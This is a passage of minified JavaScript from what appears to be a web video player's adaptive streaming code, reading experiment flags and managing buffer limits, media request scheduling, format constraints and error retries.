this.OG=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_timeout_secs");this.PX=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_min_buffer_health_secs");this.lM=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_min_buffer_health_secs_on_timeout");this.u4=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_min_load_speed");this.Gq=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_load_speed_check_interval");this.xl=g.Z9(this.Pv.experiments,"html5_subsegment_readahead_seek_latency_fudge");
this.Xh=Dv(this,"html5_hopeless_secs",15);this.Ks=this.Pv.B("html5_restrict_streaming_xhr_on_sqless_requests");this.eK=g.Z9(this.Pv.experiments,"html5_max_headm_for_streaming_xhr");this.IA=this.Pv.B("html5_pipeline_manifestless_allow_nonstreaming");this.QR=this.Pv.B("html5_prefer_server_bwe3");this.l0=this.Pv.B("html5_last_slice_transition");this.LM=this.Pv.B("html5_store_xhr_headers_readable");this.aM=g.Z9(this.Pv.experiments,"html5_max_drift_per_track_secs");this.o5=this.Pv.B("html5_no_placeholder_rollbacks");
this.uv=this.Pv.B("html5_subsegment_readahead_enable_mffa");this.tR=this.Pv.B("html5_allow_video_keyframe_without_audio");this.OA=this.Pv.B("html5_enable_vp9_fairplay");this.lh=1048576;this.Qj=this.Pv.B("html5_woffle_resume");this.I8=this.Pv.B("html5_abs_buffer_health");this.P0=this.Pv.B("html5_interruption_resets_seeked_time");this.W0=g.Z9(this.Pv.experiments,"html5_max_live_dvr_window_plus_margin_secs")||46800;this.aq=this.Pv.B("html5_log_additional_source_buffer_updates");this.I$=this.Pv.B("html5_report_captions_ctmp_qoe");
this.tJ=this.Pv.B("html5_explicitly_dispose_xhr");this.XT=!this.Pv.B("html5_encourage_array_coalescing");this.sW=this.Pv.B("html5_restart_on_unexpected_detach");this.zE=this.Pv.B("html5_filter_non_efficient_formats_for_safari");this.Pv.B("html5_format_hybridization");this.DF=this.Pv.B("html5_abort_before_separate_init");this.D2=py();this.aK=this.Pv.B("html5_serialize_server_stitched_ad_request");this.pk=this.Pv.B("html5_skip_buffer_check_seek_to_head");this.DX=this.Pv.B("html5_attach_po_token_to_bandaid");
this.j3=g.Z9(this.Pv.experiments,"html5_max_redirect_response_length")||8192;this.ZV=this.Pv.B("html5_rewrite_timestamps_for_webm");this.L2=this.Pv.B("html5_only_media_duration_for_discontinuities");this.AD=g.Z9(this.Pv.experiments,"html5_resource_bad_status_delay_scaling")||1;this.Pv.B("html5_onesie_live");this.PO=this.Pv.B("html5_onesie_premieres");this.yj=this.Pv.B("html5_drop_onesie_for_live_mode_mismatch");this.LJ=g.Z9(this.Pv.experiments,"html5_onesie_live_ttl_secs")||8;this.zG=g.Z9(this.Pv.experiments,
"html5_attach_num_random_bytes_to_bandaid");this.x7=g.Z9(this.Pv.experiments,"html5_onesie_request_timeout_ms")||3E3;this.Ub=this.Pv.B("html5_update_container_type_on_codec_family_change")||this.Pv.B("html5_use_update_container_type_codec_family");this.UA=this.Pv.B("html5_dont_call_change_type_on_updating");this.nU=this.Pv.B("html5_apply_ssap_slice_info_adjustment");this.kP=this.Pv.B("html5_enable_sabr_host_fallback");this.qY=this.Pv.B("html5_ssap_enable_legacy_browser_logic");this.pI=this.Pv.B("html5_ssap_enable_delay_init");
this.Lo=this.Pv.B("html5_gapless_fallback_on_append_error");this.d4=this.Pv.B("html5_shorts_stop_request_when_buffer_to_end");this.Ob=this.Pv.B("html5_vod_stop_request_when_buffer_to_end");this.hQ=this.Pv.B("html5_ssdai_use_post_for_media")&&this.Pv.B("gab_return_sabr_ssdai_config");this.HO=this.Pv.B("html5_use_post_for_media");this.L4=this.Pv.B("html5_use_live_ump_heartbeat");this.useUmp=this.Pv.B("html5_use_ump");this.Rg=this.Pv.Nz;this.DM=this.Pv.B("html5_reset_primary_stats_on_redirector_failure");
this.Bj=this.Pv.B("html5_remap_to_original_host_when_redirected");this.g6=this.Pv.B("html5_sabr_support_quality_constraints");this.Wj=this.Pv.B("html5_sabr_remove_all_quality_constraints");this.a$=this.Pv.B("html5_iterative_seeking_buffered_time");this.xG=this.Pv.B("html5_use_network_error_code_enums");this.dL=this.Pv.B("html5_disable_overlapping_requests");this.enableServerDrivenRequestCancellation=this.Pv.B("html5_enable_server_driven_request_cancellation");this.c5=this.Pv.B("html5_enable_sabr_request_timing");
this.hR=this.Pv.B("html5_enable_server_format_filter");this.Tw=this.Pv.B("html5_enable_lawnmower");this.T2=this.Pv.AM()?g.Z9(this.Pv.experiments,"html5_continuous_goodput_probe_interval_ms"):0;this.Uf=g.Z9(this.Pv.experiments,"html5_jumbo_ull_nonstreaming_mffa_ms")||NaN;this.yz=this.Pv.B("html5_live_defrag_only_h264_playbacks");this.Of=this.Pv.B("html5_live_defrag_only_h264_formats");this.Q6=this.Pv.B("html5_record_now");this.z5=g.Z9(this.Pv.experiments,"html5_drm_byterate_soft_cap");this.U$=g.Z9(this.Pv.experiments,
"html5_drm_live_byterate_soft_cap");this.N=this.Pv.B("html5_sabr_log_request_creation");this.IJ=this.Pv.B("html5_use_buffer_timeline_for_sabr_request_creation");this.Jq=this.Pv.B("html5_sabr_report_request_cancellation_info");this.Oz=this.Pv.B("html5_spoof_4k");this.KX=Dv(this,"html5_min_media_duration_for_cabr_slice");this.v0=Dv(this,"html5_sabr_min_media_bytes_factor_to_append_for_stream")||.01;this.b0=this.XT?0:Dv(this,"html5_min_media_duration_for_append_prop");this.X7=this.Pv.B("html5_remove_defrag_without_frame_level_streaming");
this.Xo=this.Pv.B("html5_consume_all_buffered_bytes_one_poll");this.uh=this.Pv.B("html5_disable_urgent_adaptation");this.Vz=this.Pv.B("html5_apply_constraints_in_client_for_sabr");this.Kl=this.Pv.B("html5_send_video_playback_ustreamer_config");this.tj=Dv(this,"html5_max_discontinuity_rewrite_count");this.t8=Dv(this,"html5_fixed_media_duration_for_request");this.Qw=this.Pv.B("html5_apply_fix_for_missing_seg_info_without_logger");this.aH=Dv(this,"html5_sabr_request_limit_per_period");this.RW=this.Pv.B("html5_sabr_live_partial_segment");
this.jb=this.Pv.B("html5_sabr_dispose_media_objects");this.WD=this.Pv.B("html5_fix_hbr_reselection_qoe_restart_for_sabr");this.Bb=this.Pv.B("html5_enable_d6de4");this.l4=this.Pv.B("html5_ssap_keep_only_ssap_eos_check");this.Pv.B("html5_high_res_seek_logging");this.pT=this.Pv.B("html5_disable_chunk_synchronization_sabr_seek");this.oo=this.Pv.B("html5_enable_ssap_multi_audio_format_filtering");this.LX=g.Z9(this.Pv.experiments,"html5_override_micro_discontinuities_threshold_ms");this.k7=this.Pv.B("defer_slice_processing_on_healthy_buffer_sabr");
this.mN=this.Pv.B("html5_byterate_constraints");this.u0=this.Pv.B("html5_refactor_sabr_audio_format_selection_logging");this.V7=this.Pv.B("enable_sabr_snackbar_message");this.Pv.B("html5_reinit_source_buffer_by_new_element");this.xa=this.Pv.B("html5_refactor_sabr_video_format_selection_logging");this.Qz=this.Pv.B("html5_log_slice_info_in_sbu");this.rp=Dv(this,"html5_paced_poll_ms");this.HH=Dv(this,"html5_paced_poll_min_health_ms");this.zw=this.Pv.B("html5_disable_sabr_fallback");this.yS=this.Pv.B("html5_track_current_buffered_range_at_sync");
this.Hm=g.Z9(this.Pv.experiments,"html5_enable_sps_retry_backoff_ms");this.KB=this.Pv.B("html5_sabr_live_timing");this.Zm=this.Pv.B("html5_sabr_enable_server_xtag_selection");this.GR=this.Pv.B("html5_send_detailed_network_type");this.UG=this.Pv.B("html5_sabr_skip_client_audio_init_selection");this.SK=this.Pv.B("html5_count_updating_slice_for_buffer_health");this.ZM=this.Pv.B("html5_report_max_buffer_bytes_limit_to_sabr");this.nu=this.Pv.B("html5_sabr_live_audio_early_return_fix");this.DH=g.Z9(this.Pv.experiments,
"html5_platform_max_buffer_health_oversend_duration_secs");this.CJ=this.Pv.B("html5_cuepoint_identifier_logging");this.WU=this.Pv.B("html5_trigger_loader_long_poll_on_sabr_backoff");this.OC=this.Pv.AM();this.Zk=this.Pv.B("html5_keep_ssdai_avsync_in_loader_track");this.sD=this.Pv.B("html5_enable_sps_retry_backoff_metadata_requests")};
vdi=function(x,T,t){t=t===void 0?!1:t;T.video.C>1080&&!x.Pl&&(x.nf=36700160,x.Lz=5242880,x.G9=Math.max(4194304,x.G9),x.Pl=!0);T.video.C>2160&&!x.U6&&(x.nf=104857600,x.Zp=13107200,x.U6=!0);g.Z9(x.Pv.experiments,"html5_samsung_kant_limit_max_bitrate")!==0?T.isEncrypted()&&g.N2()&&g.D2("samsung")&&(g.D2("kant")||g.D2("muse"))&&(x.Zp=g.Z9(x.Pv.experiments,"html5_samsung_kant_limit_max_bitrate")):T.isEncrypted()&&g.N2()&&g.D2("kant")&&(x.Zp=1310720);x.z5!==0&&T.isEncrypted()&&(x.Zp=x.z5);x.U$!==0&&T.isEncrypted()&&
t&&(x.Zp=x.U$);T.Zp&&(x.NW=Math.max(x.k$,Math.min(x.G9,5*T.Zp)))};
yB=function(x){return x.C&&x.e7&&x.playbackStartPolicy};
NI=function(x){return x.Z||x.C&&x.hR};
JJ=function(x,T,t,u){x.e7&&(x.playbackStartPolicy=T,x.vO=t,x.wk=u)};
Dv=function(x,T,t){t=t===void 0?0:t;return g.Z9(x.Pv.experiments,T)||t};
yy3=function(x){var T=x===void 0?{}:x;x=T.HD;var t=T.Ok;var u=T.cU;var H=T.mR;T=T.S3;this.HD=x;this.Ok=t;this.cU=u;this.mR=H;this.S3=T};
Ck3=function(x,T){if(T<0)return!0;var t=x.mR();return T<t||T===t&&!x.HD||T===t&&(x=x.S3())&&T===x.Mj?!0:!1};
Qa3=function(x,T,t){if(!Ck3(x,T))return 0;if(!x.Ok||!isNaN(t)&&t>0)return 2;if(T<0)return 1;t=x.mR();return T<t||T===t&&(x=x.S3())&&T===x.Mj&&!x.pending?2:1};
C9=function(x,T,t){g.W.call(this);this.Kf=x;this.policy=T;this.xP=t;this.Z=0;this.C=!1;this.delay=new g.wX(this.j,this.policy.T2,this);g.y(this,this.delay)};
NVC=function(x,T){bG(T.C)||(x.QA=T,x.Z=0,g.Kt(x.delay))};
Jyf=function(x,T,t,u,H){var I=this;this.Kf=x;this.policy=T;this.xP=t;this.QA=u;this.ib=H;this.done=!1;this.onTimeout=function(){I.done||(I.done=!0,I.onError("net.timeout"))};
this.size=Math.ceil(Math.min(1E5,.1*Si(this.xP)));this.timing=new Oz(this,{xP:this.xP,Oh:this.size,Jr:!0,Ke:function(){},
qG:this.policy.j});x=cH(this.QA,this.ib,this.policy).il.clone();YW(x);x.path!=="/videogoodput"&&(x.path="/videogoodput",x.url="");this.location=new mg(x);this.location.set("rn",""+this.timing.requestNumber);this.location.set("range","0-"+(this.size-1));this.xhr=ow(this.location,this.policy.J,this.timing,this.policy.AJ,{});setTimeout(this.onTimeout,1E4)};
CQV=function(x,T,t){var u=x.PZ();if(x.isComplete()||!u||x.info.QA.ib(T,t))return 0;var H=T.CB;if(!H||u<H)return 0;x=Re(t,Yd(x.info.QA,!0,T));return x.C||x.timedOut||x.started?0:2};
Q$q=function(x,T,t){if(!(T.y6&&x.isComplete()&&x.canRetry()&&x.info.QA.ib(T,t))||x.info.QA.J)return 0;x=Re(t,Yd(x.info.QA,!1,T));return x.j+T.y6*A7(x,!0)>(0,g.bo)()?0:1};
QB=function(x,T,t,u,H,I,E,Z,e,l,m,d,M,A){A=A===void 0?null:A;g.W.call(this);var R=this;this.Kf=x;this.policy=T;this.videoTrack=t;this.audioTrack=u;this.K=H;this.C=I;this.timing=E;this.T=Z;this.schedule=e;this.gy=l;this.j=m;this.ZZ=d;this.qZ=M;this.rV=A;this.jY=!1;this.Vy="";this.t7=null;this.IT=NaN;this.uG=!1;this.Z=null;this.N0=this.S=NaN;this.C$=this.D=0;this.logger=new g.t$("dash");this.yF={y0:function(Y,b){return R.y0(Y,b)}};
this.policy.zG>0&&(this.Vy=g.Sq(this.policy.zG));this.policy.T2&&(this.J=new C9(this.Kf,this.policy,this.schedule),g.y(this,this.J))};
pTD=function(x,T,t){var u=T.Z?T.Z.C.QA:T.C.QA;var H=x.K,I;(I=!x.policy.Bj)||(I=UK(u.C)===UK(u.j));I?u=!1:(H=Re(H,UK(u.j)),I=6E4*Math.pow(H.K,1.6),(0,g.bo)()<H.j+I?u=!1:(H.j=(0,g.bo)(),H.K+=1,u.C=u.j.clone(),u=!0));u&&x.Kf.kc("hostch",{},!0);if(p9(x,T,t)){t=x.N(T,t);if(x.Z){var E=t.iG[0].C.info.id;u=x.C;H=t.iG[0].Mj;u=H<0&&!isNaN(u.T)?u.T:H;H=gj(x.C,t.iG[0].Gy,u);var Z=T===x.audioTrack?1:2,e=t.iG[0].C.info.Wv;I=E.split(";")[0];a:{var l=x.C;if(l.C){var m=l.C.PU.event;if(l.C.Mj===u){l=m==="predictStart"?
void 0:l.C.PU.event;break a}if(l.C.Mj===u-1){l=m==="start"||m==="continue"?m:void 0;break a}}l=void 0}if(x.policy.hQ&&x.C.Z!==0){var d=x.Z.yR(H,u,E,Z,e,l);u<0&&Z===2&&B6(x.C,0,0,!0);if(d){var M;E=((M=d.o8)==null?void 0:M.J9)||"";var A;M=((A=d.o8)==null?void 0:A.sH)||-1;x.Kf.kc("sdai",{ssdaiinfo:"1",ds:E,skipsq:M,itag:I,f:e,sg:u,st:H.toFixed(3)});t.K=d}}else if(A=x.Z.D3(H,u,E,Z,e,l),u<0&&Z===2&&B6(x.C,0,0,!0),A){M={dec_sq:u,itag:I,st:H.toFixed(3)};if(x.policy.aK&&T.isRequestPending(u-1)){x.Kf.kc("sdai",
{wt_daistate_on_sg:u-1});return}x.Kf.kc("sdai",M);A&&(t.C=new g.ct(A));x.policy.j&&(A=t.QA.zZ("id")||"",M=((d=t.C)==null?void 0:d.get("id"))||"",A!==M&&x.Kf.kc("stmidmismatch",{cid:A,aid:M}))}else x.C.Z!==5&&x.Kf.kc("sdai",{nodec_sq:u,itag:I,st:H.toFixed(3)})}x.policy.SH&&t.iG[0].Mj!==-1&&t.iG[0].Mj<x.gy.Q9&&(t=T.C.c7(x.gy.Q9,!1));co(T,Of(x,t));h$(x.timing);var R;(R=x.J)==null||NVC(R,t.QA)}};
p9=function(x,T,t){if(x.policy.EL)return!1;var u;var H=x.C,I=((u=T.Z)==null?void 0:u.Mj)||-1;H.Z===3&&I+1>=H.K?(H.kc("sdai",{haltrq:I+1,est:H.K}),u=!1):u=H.Z!==2;if(!u||!UU(T.Z?T.Z.C.QA:T.C.QA,x.policy,x.K,x.Kf.uj())||x.Kf.isSuspended&&(!c_(x.schedule)||x.Kf.fS))return!1;if(x.policy.K&&vK>=5)return g.Kt(x.Kf.cJ),!1;if(x.gy.isManifestless){if(T.j.length>0&&T.Z&&T.Z.Mj===-1||T.j.length>=x.policy.Rc||!x.policy.IA&&T.j.length>0&&!x.policy.J.Ok)return!1;if(T.N)return!x.gy.isLive||!isNaN(x.IT)}if(v8X(T))return x.logger.debug("Pending request with server-selectable format found"),
!1;if(!T.Z){if(!T.C.fC())return!1;Ww(T,x.Kf.getCurrentTime())}if(JU(T)&&(T.QT()!==JU(T)||x.Kf.isSuspended))return!1;H=(u=x.policy.Jw)&&!T.j.length&&F_(T,!0)<Math.min(u,F_(t));u=T.j.length+t.j.length;I=!x.policy.dL&&((T.j.length?T.j[0].fm():!1)||(t.j.length?t.j[0].fm():!1)||x.gy.isLive);(H||I)&&--u;if(u+1>=x.policy.WV)return!1;u=T.Z;if(!u)return!0;u.type===4&&u.C.fC()&&(T.Z=g.Q3(u.C.DW(u)),u=T.Z);if(!u.FQ()&&!u.C.B7(u))return!1;I=x.gy.qI||x.gy.K;if(x.gy.isManifestless&&I){I=T.C.index.mR();var E=t.C.index.mR();
I=Math.min(I,E);if(T.C.index.Cv()>0&&I>0&&u.Mj>=I)return T.hQ=I,t.hQ=I,!1}if(u.C.info.audio&&u.type===4||u.FQ())return!1;I=!T.T&&!t.T;if(H=!H)H=u.BS,H=!!(t.Z&&!ko(t,t.Z)&&t.Z.BS<H);E=T===x.videoTrack&&x.policy.Hv;return H&&(!x.gy.isManifestless||t.Z&&t.Z.BS&&u.BS)&&I&&!E||x.policy.tM&&!T.T&&t.T?!1:Gr(u)&&u.BS>OYJ(x,T)?(OYJ(x,T),!1):(x=T.qJ)&&x.isLocked()?!1:!0};
OYJ=function(x,T){var t=x.C;t=t.C?t.C.PU:null;if(x.policy.Hv&&t)return t.startSecs+t.U0+15;T=Bw(x.Kf,T);x.policy.Ym>0&&(t=((0,g.bo)()-x.Kf.aX)/1E3,T=Math.min(T,x.policy.Ym+x.policy.tI*t));t=x.Kf.getCurrentTime()+T;return x.policy.Hl&&(T=fXq(x.Kf)+x.policy.Hl,T<t)?(x.Kf.kc("mrl",{ori:t,mod:T},!0),x.policy.P0&&(x=x.Kf,t=(0,g.bo)(),x.aX=t),T):t};
wT3=function(x,T,t){if(t!==0){a:if(T=T.info,t=t===2,T.C)T=null;else{var u=T.iG[0];if(T.range)var H=FO(T.range.start,Math.min(4096,T.j));else{if(T.Z&&T.Z.indexOf("/range/")>=0||T.QA.zZ("defrag")==="1"||T.QA.zZ("otf")==="1"){T=null;break a}H=FO(0,4096)}H=new BH([new vH(5,u.C,H,"createProbeRequestInfo"+u.T,u.Mj)],T.Z);H.ib=t;H.C=T.C;T=H}T&&Of(x,T)}};
Of=function(x,T){x.Kf.k5(T);var t=Tof(T),u=x.Kf.Lv();t={xP:x.schedule,Oh:t,xi:Rqq(x.T,t),sC:V4(T.iG[0]),Jr:bG(T.QA.C),qG:x.policy.j,Ke:function(E,Z){x.Kf.J4(E,Z)}};
if(x.schedule.Z.N){var H,I;t.mO=(((H=x.videoTrack.C)==null?void 0:H.info.Zp)||0)+(((I=x.audioTrack.C)==null?void 0:I.info.Zp)||0)}x.t7&&(t.Mj=T.iG[0].Mj,t.IT=T.IT,t.t7=x.t7);u={g$:ojH(T,x.Kf.getCurrentTime()),n5:x.policy.mY&&DN(T)&&T.iG[0].C.info.video?LgH(x.j):void 0,By:x.policy.Hv,poToken:x.Kf.nT(),Qb:x.Kf.cg(),Vy:x.Vy,N0:isNaN(x.N0)?null:x.N0,rV:x.rV,qZ:x.qZ,C$:x.C$,z8:u};return new nh(x.policy,T,t,x.K,function(E,Z){try{a:{var e=E.info.iG[0].C,l=e.info.video?x.videoTrack:x.audioTrack;if(!(E.state>=
2)||E.isComplete()||E.PZ()||!(!x.Kf.FW||x.Kf.isSuspended||F_(l)>3)){var m=CQV(E,x.policy,x.K);m===1&&(x.uG=!0);wT3(x,E,m);if(E.isComplete()||E.T9()&&Z<3){if(x.policy.j){var d=E.timing.Sl();d.rst=E.state;d.strm=E.xhr.IM();d.cncl=E.xhr&&E.gp.K?1:0;x.Kf.kc("rqs",d)}E.ZY&&x.Kf.kc("sbwe3",{},!0)}if(!x.T9()&&E.state>=2){IN3(x.timing,E,e);var M=x.Kf;x.N0&&E.ZD&&M&&(x.N0=NaN,x.Kf.Qk(E.ZD),x.Kf.Jb(),x.Kf.kc("cabrUtcSeek",{mediaTimeSeconds:E.ZD}));E.MF&&x.N0&&E.MF&&!E.MF.action&&(x.Kf.Gp(x.N0),x.N0=NaN,x.Kf.kc("cabrUtcSeekFallback",
{targetUtcTimeSeconds:x.N0}));E.MY&&x.Kf.bj(E.MY);x.policy.L4&&(x.C$=E.C$);if(E.state===3){VB(l,E);DN(E.info)&&f9(x,l,e,!0);if(x.Z){var A=E.info.D3();A&&x.Z.DG(E.info.iG[0].Mj,e.info.id,A)}x.Kf.NI()}else if(E.isComplete()&&E.info.iG[0].type===5){if(E.state!==4)E.sG()&&x.Kf.handleError(E.Yp(),E.Ti());else{var R=(E.info.iG[0].C.info.video?x.videoTrack:x.audioTrack).j[0]||null;R&&R instanceof nh&&R.PZ()&&R.Mv(!0)}E.dispose()}else{E.sG()||Kjf(x,E);var Y;((Y=E.D_)==null?0:Y.itagDenylist)&&x.Kf.EW(E.D_.itagDenylist);
if(E.state===4)wC(x,E),x.C&&je3(x.C,E.info,x.Z);else if(x.policy.AJ&&E.kK()&&!E.isComplete()&&!wC(x,E)&&!E.sG())break a;E.sG()&&(XTq(x,E),isNaN(x.N0)||(x.Kf.Gp(x.N0),x.N0=NaN));x.policy.rp&&!E.isComplete()?K9(x.Kf):x.Kf.NI();var b=Q$q(E,x.policy,x.K);wT3(x,E,b)}}}}}catch(z){Z=x.jY?1:0,x.jY=!0,E=zY(Z),Z=kX(z,Z),x.Kf.handleError(Z.errorCode,Z.details,Z.severity),E||x.Kf.CU()}},u)};
Kjf=function(x,T){if(T.d5&&T.state>=2&&T.state!==3){var t=T.xhr.getResponseHeader("X-Response-Itag");if(t){x.logger.debug(function(){return"Applying streamer-selected format "+t});
var u=GrC(x.j,t),H=T.info.j;H&&(H-=u.Lr(),u.j=!0,T.info.iG[0].C.j=!1,gW4(T,u.Zg(H)),X_(x.Kf,x.videoTrack,u),VPm(x.videoTrack,u),x.Kf.KE(u.info.video.quality),(H=T.DK())&&u.info.lastModified&&u.info.lastModified!==+H&&VB(x.videoTrack,T))}else T.d5=!1}};
XTq=function(x,T){var t=T.info.iG[0].C,u=T.Yp();if(bG(t.QA.C)){var H=g.R2(T.HU(),3);x.Kf.kc("dldbrerr",{em:H||"none"})}H=T.info.iG[0].Mj;var I=gj(x.C,T.info.iG[0].Gy,H);u==="net.badstatus"&&(x.D+=1);if(T.canRetry()&&xA(x.Kf)){if(!(T.info.QA.Z>=x.policy.ya&&x.Z&&T.info.isDecorated()&&u==="net.badstatus"&&x.Z.Uh(I,H))){H=(t.info.video&&t.QA.Z>1||T.G7===410||T.G7===500||T.G7===503)&&!(J$(x.j.T).size>0)&&!bG(t.QA.C);I=T.Ti();var E=t.info.video?x.videoTrack:x.audioTrack;H&&(I.stun="1");x.Kf.handleError(u,
I);x.T9()||(H&&(x.logger.debug(function(){return"Stunning format "+t.info.id}),wj(x.j,t)),VB(E,T),x.Kf.NI())}}else E=1,x.Z&&T.info.isDecorated()&&u==="net.badstatus"&&x.Z.Uh(I,H)&&(E=0),x.gy.isLive&&T.Yp()==="net.badstatus"&&x.D<=x.policy.Bf*2?(olH(x.gy),x.gy.qI||x.gy.isPremiere?Ny(x.Kf,0,{wp:"badStatusWorkaround"}):x.gy.K?Ny(x.Kf,x.gy.QU,{wp:"badStatusWorkaround",
KT:!0}):Md(x.Kf)):x.Kf.handleError(u,T.Ti(),E)};
wC=function(x,T){if(x.policy.useUmp&&T.T9())return!1;try{var t=T.info.iG[0].C,u=t.info.video?x.videoTrack:x.audioTrack;if(x.gy.isManifestless&&u){x.D=0;u.N&&(T.T9(),T.isComplete()||T.kK(),u.N=!1);T.WL()&&x.Kf.tb.SF(1,T.WL());var H=T.Cv(),I=T.ql();U4(x.gy,H,I)}if(T.info.sC()&&!WH(T.info))for(var E=g.S(T.Ca()),Z=E.next();!Z.done;Z=E.next())PQ5(u,Z.value);for(x.Kf.getCurrentTime();u.j.length&&u.j[0].state===4;){var e=u.j.shift();R0f(u,e);u.AQ=e.R_()}u.j.length&&R0f(u,u.j[0]);var l=!!JU(u);l&&T instanceof
Lh&&(t.info.iD()?odX(x.timing):TDC(x.timing));return l}catch(m){T=T.Ti();T.origin="hrhs";a:{x=x.Kf;t=m;if(t instanceof Error){T.msg||(T.msg=""+t.message);T.name||(T.name=""+t.name);if(t instanceof g.CS&&t.args)for(u=g.S(Object.entries(t.args)),H=u.next();!H.done;H=u.next())I=g.S(H.value),H=I.next().value,I=I.next().value,T["arg"+H]=""+I;g.Vh(t);if(t.level==="WARNING"){x.Em.h8(T);break a}}x.handleError("fmt.unplayable",T,1)}return!1}};
x_V=function(x){var T=x.videoTrack.C.index;x.t7=new yy3({HD:x.policy.HD,Ok:x.policy.J.Ok,cU:T.KO(),mR:function(){return T.mR()},
S3:function(){return T.S3()}})};
f9=function(x,T,t,u){var H=x.policy.sD?x.Kf.uj():0;t.fC()||t.HJ()||t.j||!UU(t.QA,x.policy,x.K,H)||t.info.Wv==="f"||x.policy.C||(u?(u=x.T,H=t.info,u=PkV(u,H.video?u.policy.m_:u.policy.TP,H.Zp)):u=0,u=t.Zg(u),x=Of(x,u),WH(u)&&co(T,x),t.j=!0)};
As=function(x,T,t,u,H,I,E,Z){g.W.call(this);var e=this;this.Kf=x;this.x6=T;this.videoTrack=t;this.audioTrack=u;this.gy=H;this.S=I;this.isAudioOnly=E;this.N=Z;this.Z=yv;this.uG=!1;this.logger=new g.t$("sabr");this.J=this.jY=this.ZZ=!1;this.videoInfos=this.T=this.S.videoInfos;this.j=this.Hv=this.S.C;this.C=new yp(T,I,function(l,m){e.Kf.kc(l,m)});
this.x6.UG||Ts4(this);this.isAudioOnly&&o3i(this,this.gy.C["0"])};
ti3=function(x,T){var t=[];T=g.S(T);for(var u=T.next();!u.done;u=T.next())t.push(g.xj(u.value,x.gy.B9));return t};
o3i=function(x,T,t){T!==x.K&&(x.K&&(x.uG=!0),x.K=T,x.CD(T,x.videoTrack,t))};
$_v=function(x,T){x.logger.debug("setConstraint: "+EK(T));NI(x.x6)&&(x.jY=T.reason==="m"||T.reason==="l"?!0:!1);T.reason==="m"?T.isLocked()&&sQv(x,T.C):uBf(x,T)?RD(x,T.Z,T.C):x.videoInfos=x.T;x.Z=T};
uBf=function(x,T){return x.x6.g6&&T.reason==="b"||x.x6.Wj?!1:x.x6.Vz?!0:T.reason==="l"||T.reason==="b"||T.reason==="o"};
H1V=function(x,T){return T.isLocked()&&x.C.Z||x.Z===void 0?!1:T.RH(x.Z)};
i1f=function(x,T){var t,u=(t=x.K)==null?void 0:t.info.video.C;return x.uG?!0:x.K?T!==u?!0:!x.C.Z||x.x6.WD&&x.C.C===x.K.info.itag?!1:!0:!1};
sQv=function(x,T){var t=x.C.C;if(t){x.videoInfos=x.T;var u=g.Oh(x.videoInfos,function(H){return H.id===t});
u&&u.video.C===T?x.videoInfos=[u]:(u=x.videoInfos.map(function(H){return H.id}),x.Kf.kc("sabrpf",{pfid:""+t,
vfids:""+u.join(".")}),RD(x,T,T),CR(x.C,""))}else RD(x,T,T)};
RD=function(x,T,t){x.videoInfos=x.T;x.videoInfos=g.ES(x.videoInfos,function(u){return u.video.C>=T&&u.video.C<=t})};
Ts4=function(x){var T=dHJ(x.C,x.N);T&&(x.j=[T])};
Imf=function(x,T,t){if(x.x6.UG){if(x.N){var u=g.ES(x.j,function(H){return H.id===x.N});
return Pj(u,t).includes(T)}u=g.ES(x.j,function(H){var I;return!((I=H.S8)==null||!I.isDefault)});
if(u.length>0)return Pj(u,t).includes(T)}return Pj(x.j,t).includes(T)};
Pj=function(x,T){return x.map(function(t){return bz(g.xj(t,T))})};
E34=function(x){var T;if((T=x.Z)==null?0:T.isLocked())return x.videoInfos;var t=J$(x.C);T=g.ES(x.videoInfos,function(u){return u.Zp>x.x6.Zp?!1:!t.has(u.id)});
mHC(x.C)&&(T=g.ES(T,function(u){return u.video.width<=854&&u.video.height<=480}));
return T};
jQi=function(x,T,t,u){var H=x.gy,I=x.Em.getVideoData(),E=g.pB(I),Z=x.oB,e=dj({Pv:I.Y(),Em:x.Em,ih:x.ih,x6:x.x6,aX:x.aX,kR:x.kR,Bl:x.Bl,oE:x.oE,lR:x.lR,isPrefetch:x.isPrefetch,Ry:x.Ry,sabrLicenseConstraint:I.sabrLicenseConstraint,ey:x.ey,Fk:x.Fk,v5:x.v5,S2:x.S2,sUu:!!Z}),l=Mt(I,x.z8,x.nextRequestPolicy,x.Tt,x.GK,x.HCc,x.ix);u&&t&&(u=l.pu?l.pu.map(function(Y){return Y.type}):[],t("sabr",{stmctxt:u.join("_"),
unsntctxt:l.iO?l.iO.join("_"):""}));u=x.dh;var m=x.zm;if(m===void 0&&u===void 0){var d;m=q0i(H.B9,(d=x.fZ)==null?void 0:d.video);var M;u=q0i(H.B9,(M=x.fZ)==null?void 0:M.audio)}if(I.rV)var A=I.rV;I={E_:e,eb:x.eb,dh:u,zm:m,oB:Z,videoPlaybackUstreamerConfig:A,pH:l};x.o8&&(I.o8=x.o8);if(E&&T){E=new Map;var R=g.S(H.hQ);for(Z=R.next();!Z.done;Z=R.next())Z=Z.value,(e=H.nf[gjC(H,Z)]||"")?(E.has(e)||E.set(e,[]),E.get(e).push(Z)):t&&t("ssap",{nocid4fmt:(Z.itag||"")+"_"+(Z.lmt||0)+"_"+(Z.xtags||"")});H=new Map;
R=g.S(x.v9);for(Z=R.next();!Z.done;Z=R.next())Z=Z.value,e=Z.startTimeMs||0,l=void 0,d=(l=T)==null?void 0:VW(l,e),l=d.clipId,d=d.pB,l?(H.has(l)||(M=E.get(l)||[],H.set(l,{clipId:l,v9:[],Ie:M})),d!==0&&(Z.startTimeMs=e-d),H.get(l).v9.push(Z)):t&&(l=void 0,t("ssap",{nocid4range:"1",fmt:((l=Z.formatId)==null?void 0:l.itag)||"",st:e.toFixed(3),d:(Z.durationMs||0).toFixed(3),timeline:Sn(T)}));I.RB=[];H=g.S(H.entries());for(E=H.next();!E.done;E=H.next())E=g.S(E.value),E.next(),E=E.next().value,I.RB.push(E);
if(x.v9.length&&!I.RB.length){t&&t("ssap",{nobfrange:"1",br:Z1J(x.v9),timeline:Sn(T)});return}x.El&&(I.El=x.El);x.iS&&(I.iS=x.iS)}else I.v9=x.v9,I.Ie=H.hQ,E&&((R=x.v9)==null?void 0:R.length)>0&&!T&&t&&t("ssap",{bldmistlm:"1"});return I};
q0i=function(x,T){return T?[g.xj(T.info,x)]:[]};
